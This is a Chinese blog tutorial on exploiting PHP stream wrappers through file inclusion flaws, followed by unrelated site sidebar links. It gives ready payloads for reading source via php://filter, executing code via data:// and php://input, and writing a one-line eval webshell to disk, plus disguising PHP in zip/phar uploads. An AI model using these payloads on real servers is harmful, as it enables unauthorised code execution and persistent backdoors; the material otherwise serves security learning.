当前位置:网站首页>【PHP伪协议】源码读取、文件读写、任意php命令执行
【PHP伪协议】源码读取、文件读写、任意php命令执行
2022-07-25 17:08:00 【黑色地带(崛起)】
目录
2.4、phar://、zip://、bzip2://、zlib://
一、简介
1.1、概述:
PHP 伪协议 是 PHP 支持的协议与封装协议,可利用这些协议完成许多命令执行
1.2、12个php支持的伪协议
file:// 访问本地文件系统
http:// 访问 HTTP(s) 网址
ftp:// 访问 FTP(s) URLs
php:// 访问各个输入/输出流(I/O streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的文件路径模式
phar:// PHP 归档
ssh2:// Secure Shell 2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流1.3、前提:
php.ini里有两个参数
allow_url_fopen:允许url里的封装协议访问文件(默认ON)
allow_url_include:不允许包含url里的封装协议包含文件(默认OFF)
二、示例
2.1、file://
前提:
allow_url_fopen:off/on
allow_url_include :off/on
即不受allow_url_fopen与allow_url_include的影响
用法:
file://文件绝对路径
?file=file://D:/xxxx/1.txt
file=相对路径
?file=./1.txt
file=网址路径
?file=http://127.0.0.1/1.txt
2.2、php:// 协议
前提:
allow_url_fopen:off/on
allow_url_include :开on的有php://input php://stdin php://memory php://temp
协议 介绍 php://input 1、可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分
2、在enctype="multipart/form-data" 的时候php://input 是无效的
php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区 php://fd (>=5.3.6)允许直接访问指定的文件描述符 php://memory php://temp 1、(>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据
2、两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
php://filter 1、(>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用
2、对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
php://input
allow_url_fopen=on 和 allow_url_include=on
POST提交PHP代码,造成任意代码执行,如写入文件(木马)
php://input + [POST DATA]
eg:
URL中:……?file=http://input
POST中:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST['123'])?>');?>
php://filter
读取文件源码
php://filter可获取指定文件源码,如果再利用包含函数漏洞,php://filter流会被当作php文件执行,一般对其进行编码,使其不被执行,获取到编码后解码,从而达到任意文件的读取
……?file=php://filter/read=convert.base64-encode/resource=文件路径
2.3、data://
前提:
allow_url_fopen:on
allow_url_include :on
简介:
数据流封装器,以传递相应格式的数据
可以用来执行PHP代码
用法:
data://text/plain,内容
data://text/plain;base64,base64加密内容
示例:
……?file=data://text/plain,<?php%20phpinfo();?>
……?file=data://text/plain;base64,base64加密后内容
2.4、phar://、zip://、bzip2://、zlib://
简介:
用于读取压缩文件,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀
前提:
allow_url_fopen:off/on
allow_url_include :off/on
用法:
phar://[压缩文件路径]/[压缩文件内的子文件名]
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](%23为#)
compress.bzip2://file.bz2
示例:
1、将php文件添加到压缩文件中(phar)
……?file=phar://D:/……1.zip/1.php
2、将php文件添加到1.zip中,并将1.zip重命名为1.jpg,再上传到目标服务器(zip)
……?file=zip://D:/……1.jpg%231.php
3、压缩1.php为1.bz2(bzip2)
……?file=compress.bzip2://D:/……1.bz2
边栏推荐
- Enterprise live broadcast: witness focused products, praise and embrace ecology
- postgreSQL 密码区分大小写 ,有参数控制吗?
- Getting started with easyUI
- 【obs】发送前丢帧及帧优先级
- 超越 ConvNeXt、RepLKNet | 看 51×51 卷积核如何破万卷!
- Rainbond插件扩展:基于Mysql-Exporter监控Mysql
- Talk about how to use redis to realize distributed locks?
- 生成扩散模型漫谈:DDPM = 贝叶斯 + 去噪
- Step by step introduction of sqlsugar based development framework (13) -- package the upload component based on elementplus, which is convenient for the project
- Go语言系列:Go从哪里来,Go将去哪里?
猜你喜欢

Outlook 教程,如何在 Outlook 中搜索日历项?
![[target detection] yolov5 Runtong voc2007 dataset (repair version)](/img/b6/b74e93ca5e1986e0265c58f750dce3.png)
[target detection] yolov5 Runtong voc2007 dataset (repair version)
![[mathematical modeling and drawing series tutorial] II. Drawing and optimization of line chart](/img/73/2b6fe0cf69fa013894abce331e1386.png)
[mathematical modeling and drawing series tutorial] II. Drawing and optimization of line chart

Chapter III data types and variables
![Sogou batch push software - Sogou batch push tool [2022 latest]](/img/87/d89c8d301743d1087d001a4f97de02.jpg)
Sogou batch push software - Sogou batch push tool [2022 latest]

Briefly describe the implementation principle of redis cluster

【目标检测】YOLOv5跑通VOC2007数据集(修复版)

Text translation software - text batch translation converter free of charge

MySQL linked table query, common functions, aggregate functions

虚拟内存管理
随机推荐
After 20 years of agitation, the chip production capacity has started from zero to surpass that of the United States, which is another great achievement made in China
【知识图谱】实践篇——基于医疗知识图谱的问答系统实践(Part4):结合问题分类的问题解析与检索语句生成
激荡20年,芯片产能从零起步到反超美国,中国制造的又一大成就
多租户软件开发架构
【数学建模绘图系列教程】二、折线图的绘制与优化
[knowledge atlas] practice -- Practice of question answering system based on medical knowledge atlas (Part4): problem analysis and retrieval sentence generation combined with problem classification
What is the monthly salary of 10000 in China? The answer reveals the cruel truth of income
超越 ConvNeXt、RepLKNet | 看 51×51 卷积核如何破万卷!
Headless mode of new selenium4.3 in egde browser
WPF implements user avatar selector
博后招募 | 西湖大学机器智能实验室招聘博士后/助理研究员/科研助理
Mindoc makes mind map
Enumeration classes and magic values
[OBS] frame loss and frame priority before transmission
[redis] redis installation
使用Huggingface在矩池云快速加载预训练模型和数据集
Rainbond插件扩展:基于Mysql-Exporter监控Mysql
win10如何删除微软拼音输入法
Chapter VI succession
152. Product maximum subarray